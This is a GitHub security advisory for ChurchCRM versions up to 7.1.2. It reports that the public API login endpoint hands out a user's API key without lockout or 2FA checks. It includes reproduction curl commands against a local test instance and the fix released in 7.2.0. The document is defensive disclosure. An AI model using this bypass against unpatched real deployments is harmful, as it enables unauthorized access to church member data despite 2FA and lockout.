Authentication Bypass in `/api/public/user/login` Allows Bypass of 2FA and Account Lockout

Critical **DawoudIO** published **GHSA-8cwr-x83m-mh9x** last week

Package

php **ChurchCRM/CRM** (Composer)

Affected versions

<= 7.1.2

Patched versions

7.2.0

Description

> **Duplicate of GHSA-472m-p3gf-46xp** — closing in favour of the earlier report which covers the same root cause (`/api/public/user/login` bypassing 2FA enforcement and account lockout checks).

Overview

The `/api/public/user/login` endpoint only checks whether the provided username and password are valid, and then directly returns the user's existing `apiKey`.

This path does not reuse the normal login flow, and therefore does not enforce:

- account lockout checks
- pending 2FA checks and verification
- mandatory 2FA enrollment logic

As long as an attacker knows the target user's password, and the target user already has a usable `apiKey`, the attacker can directly obtain API access even if that user has 2FA enabled or the account is locked.

Root Cause Analysis

The implementation of the public login endpoint can be found at:

- `CRM-7.1.2/src/api/routes/public/public-user.php:47`
- `CRM-7.1.2/src/api/routes/public/public-user.php:64`

Its logic only performs:

1. `findOneByUserName()`
2. `isPasswordValid()`
3. directly returns `getApiKey()`

By contrast, the normal login flow performs lockout and 2FA checks, as seen at:

- `CRM-7.1.2/src/ChurchCRM/Authentication/AuthenticationProviders/LocalAuthentication.php:130`
- `CRM-7.1.2/src/ChurchCRM/Authentication/AuthenticationProviders/LocalAuthentication.php:149`

Once an API key is obtained, protected APIs will accept that key directly without re-checking 2FA or lockout state, as shown at:

- `CRM-7.1.2/src/ChurchCRM/Slim/Middleware/AuthMiddleware.php:26`
- `CRM-7.1.2/src/ChurchCRM/Authentication/AuthenticationProviders/APITokenAuthentication.php:36`

Impact

- Bypass of enabled 2FA
- Bypass of account lockout
- Direct access to protected APIs
- If the target account has elevated privileges, this may lead to unauthorized access to or modification of sensitive business data

Reproduction Prerequisites

The following test account was used in the local reproduction environment:

- `Admin / Passw0rd!`

The administrator account was preconfigured with:

- `apiKey=ADMIN-REPRO-KEY-7-1-2`

and 2FA was enabled in the local test setup.

PoC

Scenario A: Bypass 2FA

The normal login flow enters the 2FA process:

```
curl -i -d 'User=Admin&Password=Passw0rd!' \
  http://127.0.0.1:8081/session/begin
```

Expected observation:

```
HTTP/1.1 302 Found
Location: /session/two-factor
```

The public API, however, directly returns the existing API key for the same account:

```
curl -i -H 'Content-Type: application/json' \
  -d '{"userName":"Admin","password":"Passw0rd!"}' \
  http://127.0.0.1:8081/api/public/user/login
```

Observed response:

```
HTTP/1.1 200 OK

{"apiKey":"ADMIN-REPRO-KEY-7-1-2"}
```

Using that key to access a protected API:

```
curl -i -H 'x-api-key: ADMIN-REPRO-KEY-7-1-2' \
  http://127.0.0.1:8081/api/person/1
```

Observed result: returns `200 OK` and the user JSON.

Scenario B: Bypass Account Lockout

In the local test environment, the administrator account was set to locked:

```
UPDATE user_usr SET usr_FailedLogins = 5 WHERE usr_per_ID = 1;
```

At that point, the normal login page returned a lockout error:

```
curl -sS -d 'User=Admin&Password=Passw0rd!' \
  http://127.0.0.1:8081/session/begin | grep -nE 'Too many failed logins|locked'
```

Observed output:

```
68:        <div class="alert alert-danger">Too many failed logins: your account ha
been locked.  Please contact an administrator.</div>
```

However, the public API still returned the API key:

```
curl -i -H 'Content-Type: application/json' \
  -d '{"userName":"Admin","password":"Passw0rd!"}' \
  http://127.0.0.1:8081/api/public/user/login
```

Observed response:

```
HTTP/1.1 200 OK

{"apiKey":"ADMIN-REPRO-KEY-7-1-2"}
```

Conclusion

The `/api/public/user/login` endpoint bypasses the unified authentication chain, allowing both 2FA and account lockout protections to be bypassed.

Fix

Patched in 7.2.0 — PR #8607 (`214694eb83`)

API login checks isLocked(), increments failedLogins, enforces 2FA via is2FactorAuthEnabled().

Severity

Critical

CVE ID

CVE-2026-40582

Weaknesses

No CWEs

Credits

HuajiHD Reporter